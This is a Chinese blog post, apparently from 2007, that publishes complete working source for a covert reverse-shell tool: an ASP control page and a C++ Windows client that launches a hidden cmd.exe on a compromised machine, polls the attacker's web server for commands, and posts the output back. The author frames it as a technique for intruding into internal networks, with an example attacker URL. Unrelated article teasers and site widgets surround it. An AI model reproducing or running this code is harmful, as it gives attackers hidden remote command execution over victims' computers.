用ASP实现反向连接控制

CentOS 7/8 系统下,基于Docker Compose一键部署Dify AI应用平台 本文详细介绍了在CentOS 7/8系统下,使用Docker Compose一键部署Dify AI应用平台的完整流程。从系统环境准备、Docker引擎安装与加速配置,到获取Dify项目、关键环境变量设置,再到服务启动、状态监控及初始化访问,提供了手把手的部署指南和常见问题排查方法,帮助用户快速搭建稳定、可维护的AI应用开发环境。 阅读详情
发布时间:2007-8-29 7:50:47

原理:用ASP实现反向连接,客户端shell.exe大小6K,控制端console.asp大小1.75K
详解:
灵感来自在入侵渗透内网时需反向连接但没有公网IP的时候,想到ASP的Application对象功能之强大,所以产生以下想法
肉机执行程序shell.exe让cmd.exe与偶网站一ASP程序进行交互,实现控制
Application("output")为输出流,保存程序执行结果
Application("input")为输入流,保存要执行的命令
思路:
[Client] <-----> [Control] <-----> [Attacker]

Client上运行shell.exe,Control运行console.asp,Attacker通过访问console.asp控制Client
实例:
肉机A,运行"shell.exe cooldiyer.uni.cc /cmd.asp"
偶网站放上cmd.asp,URL路径为 http://cooldiyer.uni.cc/cmd.asp
这时我访问 http://cooldiyer.uni.cc/cmd.asp?who=master ;(参数一定要加上,标明身份)
就可以进行控制了,Refresh刷新可以看到已经有结果了,输入命令,点Execute执行,过几秒钟后,
点击Refresh按钮可以看到执行结果,点击Clear清空输入输出流,执行"exit"程序退出
声明:
只做技术交流,程序只做演示使用,只实现与cmd.exe交互的功能,转载或修改需保留版权

代码:
console.asp
____________________________________________________________________________
<%
’ 功能介绍:
’ 用ASP实现反向SHELL连接,与cmd.exe交互,执行命令后点Refresh后就可以看到回显
’ 公用变量 Application("input")、Application("output")为全局输入输出流

’ 如果请求登录
if request("act") = "login" then
 application("login") = "yes"
 response.end
end if

’ 如果请求退出
if request("act") = "exit" then
 application("login") = "no"
 application("input") = ""
 application("outout") = ""
 response.end
end if

’ 验证是否已经登录
if application("login") <> "yes" and request("who") = "master" then
 response.write "Client not connect.."
 response.end
end if

’ 如果请求执行命令,放到Input流里
if request("cmd") <> "" then
 application("input") = request("cmd")
end if

’ 如果命令执行完毕,结果放到output流,input流置空
if request("result")<>"" then
 application("output") = application("output") + request("result")
 application("input") = ""
end if
%>

<% If request("frame")="1" Then %>

<%
’ 如果请求清空输入输出流
if request("act") = "clear" then
 Application("input") = ""
 Application("output") = ""
 response.redirect request.servervariables("script_name")&"?frame=1"
end if
%>
<textarea cols=120 rows=30>
<%=application("output")%>
</textarea>
<a href=# onclick="location.replace(location.href);">Refresh</a>
<a href=?frame=1&act=clear>Clear</a>
<% elseif request("who") = "master" then %>
<html>
<head><title>ASP Console Manager By cooldiyer</title></head>
<body>
?frame=1 width=900 height=500 frameborder=0><br>
<form method=post name=frm>
<input type=text size=50 name="cmd">
<input type=hidden name="who" value="master">
<input type=submit value="Execute">
</form>
<script>frm.cmd.focus();</script>
<%
else
 response.write application("input")
end if
%>
____________________________________________________________________________
// shell.cpp : Defines the entry point for the console application.
//
// 实现功能: 与ASP控制端实现交互,实现反向连接
//

#include "stdafx.h"
#include "shell.h"
#include "afxinet.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

#define BUFFER_SIZE 1024 // 读缓冲区大小
/////////////////////////////////////////////////////////////////////////////
// The one and only application object

CWinApp theApp;

using namespace std;

CString URLEncode(const char* s); // URL 编码函数
BOOL PostRequest(const char *szFormData, char *szResult); // 向控制端发送请求函数
void DoShell(); // 与cmd.exe进行交互函数
char szServer[50], szPath[50]; // 公用变量

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
 int nRetCode = 0;

 // initialize MFC and print and error on failure
 if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
 {
 // TOD change error code to suit your needs
 cerr << _T("Fatal Error: MFC initialization failed") << endl;
 nRetCode = 1;
 }
 printf("ASP Console Client By CoolDiyer/n");
 if (argc == 3)
 {
 memset(szServer, 0, sizeof(szServer));
 memset(szPath, 0, sizeof(szPath));
 strcpy(szServer, argv[1]);
 strcpy(szPath, argv[2]);
 }
 else
 {
 printf("Usage:/n/trshell <Server> <Path>/nExp./n/trshell www.abc.com /x.asp/n");
 return -1;
 }
 char szResult[1024];
 PostRequest("act=login", szResult); //登录
 DoShell(); // 执行与cmd.exe的交互
 PostRequest("act=exit", szResult); //退出
 return nRetCode;
}

// 
// URL编码函数,返回一个CString变量
//

CString URLEncode(const char* s) 
{
 CString encoded = "";
 int len = strlen(s);
 char* buf = new char[16]; // way longer than needed
 unsigned char c;
 
 for(int i=0; i < len; i++)
 {
 c = s[i];
 if ((c >= ’A’ && c <= ’Z’) || (c >= ’a’ && c <= ’z’) ||
 (c >= ’0’ && c <= ’9’) || c == ’.’ || c == ’-’ || c == ’_’)
 {
 sprintf(buf, "%c", c);
 encoded += buf;
 continue;
 }
 if(c == ’ ’)
 { 
 sprintf(buf, "%c", ’+’);
 encoded += buf;
 continue;
 }
 sprintf(buf, "%.2X", c);
 encoded += "%";
 encoded += buf;
 }

 delete[] buf;
 return encoded;
}

//
// 表单发送函数,核心例程,返回接收到的内容,也就是要执行的命令
//

BOOL PostRequest(const char *szFormData, char *szResult)
{
 unsigned int uRetry = 3; //重试三次
 try{
loop:
 CInternetSession session;
 CHttpConnection *pConnection = session.GetHttpConnection(szServer); 
 CHttpFile *pFile = pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, szPath);
 // AddRequestHeaders是必要的
 pFile->AddRequestHeaders("Content-Type: application/x-www-form-urlencoded");
 CString szData;

 if (pFile -> SendRequest(NULL,0,(LPVOID) szFormData, strlen(szFormData)+1))
 {
 while(pFile->ReadString(szData))
 {
 if (szResult != NULL)
 strcpy(szResult, szData.GetBuffer(0));
 }
 pFile->Close();
 }
 session.Close();
 }
 catch(...){
 if (uRetry --)
 goto loop;
 }
 return TRUE;
}

//
// 让cmd.exe与ASP控制端进行交互的核心例程
//

void DoShell()
{ 
 int ret;

 SECURITY_ATTRIBUTES sa;
 
 sa.nLength = sizeof( sa ); 
 sa.lpSecurityDescriptor = 0; 
 sa.bInheritHandle = TRUE; 
 
 HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;

 ret=CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0); 
 ret=CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0); 
 
 STARTUPINFO si; 
 ZeroMemory(&si, sizeof(si));

 GetStartupInfo(&si);
 
 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; 
 si.wShowWindow = SW_HIDE; 
 si.hStdInput = hReadPipe2; 
 si.hStdOutput = si.hStdError = hWritePipe1; 
 
 PROCESS_INFORMATION processInfo; 
 
 char cmdLine[] = "cmd.exe";

 ZeroMemory(&processInfo, sizeof(PROCESS_INFORMATION)); 
 ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo); 
 
 char buff[BUFFER_SIZE] = { 0 };
 char szTmp[BUFFER_SIZE*3]; // 因为要把结果进行编码,所以缓冲区相对要大
 unsigned long bytesRead = 0; 
 int i = 0; 

 while (TRUE) 
 { 
 memset(buff, 0, BUFFER_SIZE); 
 ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0); 
 
 for (i = 0; i < 5 && bytesRead == 0; i++)
 { 
 Sleep(100); 
 ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL); 
 } 
 
 if (bytesRead) 
 { 
 ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 ); 
 if (!ret) break;
 memset(szTmp, 0, sizeof(szTmp));
 strcpy(szTmp, "result=");
 strcat(szTmp, URLEncode(buff).GetBuffer(0));
 printf("%s", szTmp);
 PostRequest(szTmp, NULL); // 发送命令执行结果
 printf("Post command result ok/n");
 } 
 else 
 { 
 // 得到要执行的命令
 do
 {
 PostRequest("get=yes", buff);
 printf("get command/n");
 ::Sleep(1000); // 间隔为1秒
 }
 while (strlen(buff) <= 0);
 printf("%s/n", buff);
 // 命令为exit则退出
 if (strcmp(buff, "exit") == 0) break; // 程序退出

 strcat(buff, "/n"); // 加上换行
 bytesRead = strlen(buff);
 printf("execute command %s", buff);
 // 执行命令
 WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0); 
 }
 } 

 TerminateProcess(processInfo.hProcess, 0);

 CloseHandle(hReadPipe1); 
 CloseHandle(hReadPipe2); 
 CloseHandle(hWritePipe1); 
 CloseHandle(hWritePipe2);
}
 
怎样让你的论文看起来“像人写的”?只用三招直接去除AI味(附提示词) 当然如果你在实际使用中还有其他需求,比如降重润色、改写翻译等,也可以结合七哥的专业写作平台来辅助,这个高级学术平台已经内置了ChatGPT4o、ChatGPT4.1、Claude3.7、满血版DeepSeek-R1等AI大模型,帮你写文献综述、干课题申报、写论文等学术任务绝对每一点问题。比如我自己的一套学术写作平台,其中的“降重与润色”模块整合了多种GPTs应用,除了能帮助调整语言风格、避免雷同表达,还可以顺带降个重,对于提升学术文本的整体质量还是非常有用的。一、为什么用AI写出来的文章会有AI味? 阅读详情

相关推荐

STM32H743的ADC还能这么玩?定时器触发+DMA搬运,构建低CPU占用的数据流

本文深入探讨了STM32H743微控制器中ADC的高效使用方法,通过定时器触发和DMA搬运技术实现低CPU占用的数据流采集。详细解析了硬件架构、CubeMX配置步骤及高级优化技巧,包括双缓冲技术和多ADC同步采样,适用于电机控制、音频采集等高性能应用场景。

weixin_30698527的博客 647

asp几个转码函数

'UTF转GB function UTF2GB(UTFStr) for Dig=1 to len(UTFStr) if mid(UTFStr,Dig,1)="%" then if len(UTFStr) >= Dig+8 then GBStr=GBS

lsf5921的专栏 5378

从string一词感受从字母象形到语义生成的底层逻辑

从词源上看,个人认为,soft一词的含义主要来自于“柔软水滑或柔软光滑”这样的含义,是从这样的含义中逐渐窄化,最终主要用来指“柔软”之意,而光滑、水滑这样的含义或语义形象最终被淡化,所以,soft如果符合首字母象形原则,那么它主要的来源形象,应当是【水】,也就是说,soft一词和smooth(a.光滑的)、ski(滑雪)/skate(滑冰)、slip(滑倒)/slippers(拖鞋)、slide(滑动)是相通的,并最终和sea(海)、sweat(汗/汗水)这一类和水一直相关的单词也相通。

nshkfhwr的博客 1269

[转]ASP中Split函数的实例

ASP中Split函数的实例作者:佚名    转贴自:本站原创    点击数:4 大家有碰到过要想取一字符串里的某些值而无从下手?有没有觉得看书或教材对split的写法糊里糊涂……如果有此疑问的话,请看下面我对例子的解释,相信您会对这个有一定的了解。   我先介绍一下Split函数的用法:  返回值数组 = Split(字符串,分割符)   

真水无香 1086

Cursor Agent模式下如何优雅切换conda环境运行Python脚本?3种实用方法实测

本文针对Cursor Agent模式下运行Python脚本时环境错配的痛点,实测了三种优雅切换conda环境的实用方法。通过Shell全局配置、项目级.cursorrc文件定制以及对话中直接指令,开发者可以确保AI助手在正确的虚拟环境中执行代码,从而提升开发效率和协作流畅度。

redis7keeper的博客 597

Xilinx UltraScale+系列FPGA实现USB3.0 DEV 设备 部分原理图+代码分享

Zynq UltraScale+ MPSoC 系列是 Xilinx 新一代 Zynq 平台。在 FPGA 里有完整的 ARM 处理(PS),包含了四核或双核 Cortex-A53 处理器 ,处理器子系统中有DDR内存控制器等大量的外设,在FPGA中完全独立于可编程逻辑单元(PL)如果暂时没有用到PL部分,PS也能单独工作,相当于可以当成一个ARM来用了(以前的不行)。 ARM也包含USB3.0控制器,这是实现USB3.0DEV的关键,根据官方手册(ug1085)描述,USB主(Host)从(Device)

Pierre 1万+

ASP常用函数大收集01[大部分来自网络]

*************************************防止外部提交*************************************function ChkPost()   dim server_v1,server_v2  chkpost=false  server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")

Tony088的专栏 751

PSI5协议技术文档与驱动开发指南

• 供电与数据复用:ECU通过双绞线为传感器提供稳压(典型值5V-11V),同时检测线路电流变化实现数据传输。• 同步信号:ECU发送3.5V电压脉冲(上升沿触发传感器响应),用于时序同步。• 安全气囊:PSI5-P模式实现多碰撞传感器同步采样(响应时间<10ms)• CRC-3(3位):ASIL-B以上功能安全要求(如动力总成传感器)• 奇偶校验(1位):适用于低安全等级场景(如PSI5-P10P模式)• 典型应用:PSI5-P(并行总线)、PSI5-U(通用总线)

u012733413的博客 2867

跟着微软学ASP.NET Core(三) -使用EF框架与身份验证创建CRUD页面

这篇文章主要是在 通过现有数据库在 ASP.NET Core 上开始使用 EF Core 和 通过现有数据库在 ASP.NET Core 上开始使用 EF Core 这两篇文章作为基础的,可以先读完这两篇文章并做完文章的步骤再来看看。 好了,我们现在开始。 在创建项目的时候,我们会使用身份验证。 在右边的“Change Authentication” 选择个人身份验证。这样一来,我们的网...

黑猫拉面 1179

温度实时检测预警系统(STC89C51RC+DS18B20)

温度实时检测预警系统

1 兴趣 2 实践 1496

(6):单相三绕组变压器的拉氏变换数学模型和仿真模型

本节详细推导了基于耦合电路的单相三绕组变压器考虑铁心损耗情况下的拉普拉斯变换数学模型,并据此用Matlab/Simulink的传递函数模块搭建了相应的仿真模型,仿真结果表明所建立的数学模型和仿真模型都是正确的。本文的贡献是建立了考虑铁心损耗的单相三绕组变压器基于拉氏变换象函数的数学模型,为使用Simulink传递函数模块实现单相三绕组变压器的仿真模型提供了一条途径,所采用的建模方法和技巧具有启发作用,值得借鉴。

weixin_45670943的博客 373

(18)ASP.NET Core2.2 基于现有数据库创建EF模型(反向工程)

Entity Framework Core可通过数据库提供给应用程序的插件访问许多不同的数据库。我们可以通过使用Entity Framework Core构建执行基本数据访问的ASP.NET Core MVC应用程序,对现有数据库进行反向工程以便创建Entity Framework模型。

wzk153的博客 1022

【局部规划模块曲线算法】曲线平滑介绍

本文先对轨迹平滑问题做个简单的介绍,具体内容后续再更,其他模块可以参考去我其他文章提示:以下是本篇文章正文内容(1)适合给移动机器人运动的路径【满足运动学,高阶平滑】(2)高阶的运动学不能够突变的【至少三阶的加速度不能突变,最好四阶的jerk和五阶的snap也不能突变】(3)在转弯的地方不会停下来(4)加减速均衡,节省能量(5)节省时间的。

qq_35635374的博客 5715

WebSocket连接频繁断开?掌握这7个技巧彻底稳定ASP.NET Core通信链路

解决ASP.NET Core WebSocket实时通信连接不稳定问题,本文分享7个实用优化技巧,涵盖心跳机制、异常处理、负载均衡等关键方案,提升长连接稳定性与系统可靠性,适用于聊天室、实时推送等场景,值得收藏。

CodeWhim的博客 852

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

IIS作为ASP.NET Core2.1 反向代理服务器未说的秘密

--以下内容针对 ASP.NET Core2.1,2.2出现IIS进程内寄宿 暂不展开讨论---          相比ASP.NET,出现了3个新的组件:ASP.NET...

dotNET跨平台 1393

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

asp登录页面的代码sqlserver_asp.net core 系列 21 EF现有数据库进行反向工程

一.概述  在上篇中使用EF基于数据模型创建数据库, 本篇继续使用 EF 基于数据库创建数据模型。实现对已有数据库进行反向工程,来构建数据访问的 http://ASP.NET Core MVC 应用程序。已有数据库使用上篇的EFGetStarted.AspNetCore.NewDb库。这里还是使用Visual Studio 2017和sql server 2012来演示。1.1 创建新项目打...

weixin_42627459的博客 146

麒麟系统(Linux)上配置Nginx服务反向代理asp.net core 应用程序

本文阐述了如何设置Nginx来反向代理Asp.Net Core应用程序。同时配置后Nginx和Asp.Net Core应用程序都可以随着服务器启动而自动启动。

遨游在太空 3473

asp.net core 系列 21 EF现有数据库进行反向工程

一.概述   在上篇中使用EF基于数据模型创建数据库, 本篇继续使用 EF 基于数据库创建数据模型。 实现对已有数据库进行反向工程,来构建数据访问的 ASP.NET Core MVC 应用程序。已有数据库使用上篇的EFGetStarted.AspNetCore.NewDb库。这里还是使用Visual Studio 2017和sql server 2012来演示。   1.1 创建新项目 ...

weixin_43394129的博客 244

idea数据库反向生成实体类_asp.net core 系列 21 EF现有数据库进行反向工程

一.概述在上篇中使用EF基于数据模型创建数据库, 本篇继续使用 EF 基于数据库创建数据模型。 实现对已有数据库进行反向工程,来构建数据访问的 ASP.NET Core MVC 应用程序。已有数据库使用上篇的EFGetStarted.AspNetCore.NewDb库。这里还是使用Visual Studio 2017和sql server 2012来演示。 1.1 创建新项目 打开 Visual ...

weixin_35326667的博客 204

asp 保存listbox已有的值_asp.net core 系列 21 EF现有数据库进行反向工程

一.概述  在上篇中使用EF基于数据模型创建数据库, 本篇继续使用 EF 基于数据库创建数据模型。实现对已有数据库进行反向工程,来构建数据访问的 http://ASP.NET Core MVC 应用程序。已有数据库使用上篇的EFGetStarted.AspNetCore.NewDb库。这里还是使用Visual Studio 2017和sql server 2012来演示。1.1 创建新项目打...

weixin_39963744的博客 207

ASP.NET Core 8.0学习笔记(二十八)——EFCore反向工程

1.原则:DBFirst2.反向工程:根据数据库表来反向生成实体类3.生成命令:Scaffold-DbContext ‘连接字符串’Server=.;

qq_46103137的博客 686

WebSocket连接总是中断?掌握这4个技巧,彻底解决ASP.NET Core关闭难题

轻松解决ASP.NET Core WebSocket关闭频繁中断问题,涵盖心跳机制、异常重连、服务端优雅关闭与客户端容错处理四大技巧。适用于实时通信、在线协作等场景,提升连接稳定性与系统可靠性,值得收藏。

ProceGlow的博客 514

Yarp 条件反向代理

最近有在使用 Yarp 做第三方 API 的反向代理,为了避免第三方的 API 出问题导致我们的服务出现,我们同步了一些 API 到我们自己的数据库中,有一些 API 我们就可以从我们自己的数据来提供服务从而避免调用第三方的 API 这样一定程度上也可以提高我们服务 API 的性能,也可以结合 feature flag 动态地控制是否要从我们自己的数据提供服务还是 proxy 到第三方的 API。接着我们试一下不走 proxy 的情况。可以看到此时返回的是我们自己设置的响应。配置示例和上一篇是一样的。

dotNET跨平台 102

基于ASP身份认证网关实现Web系统免代码改造的单点登录方案

摘要:企业数字化转型中,遗留系统因技术陈旧、源码缺失或厂商失联,难以支持现代身份协议(如SAML/OIDC),导致单点登录(SSO)改造成本高昂。本文提出基于ASP身份认证网关的代理式SSO方案,通过反向代理+协议转换+会话注入技术,无需修改目标系统代码即可实现统一身份认证。方案涵盖网关工作原理、部署模式、会话同步及安全策略,并结合金融、制造等行业案例,展示其在保障业务连续性的同时满足等保2.0合规要求。认证网关通过模拟登录与凭证托管,实现零改造SSO,尤其适用于无法升级的遗留系统。

安当加密 915
上一篇: 一个linux典型的select模型更新方法
下一篇: 简析利用调试寄存器实现内核函数的HOOK
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值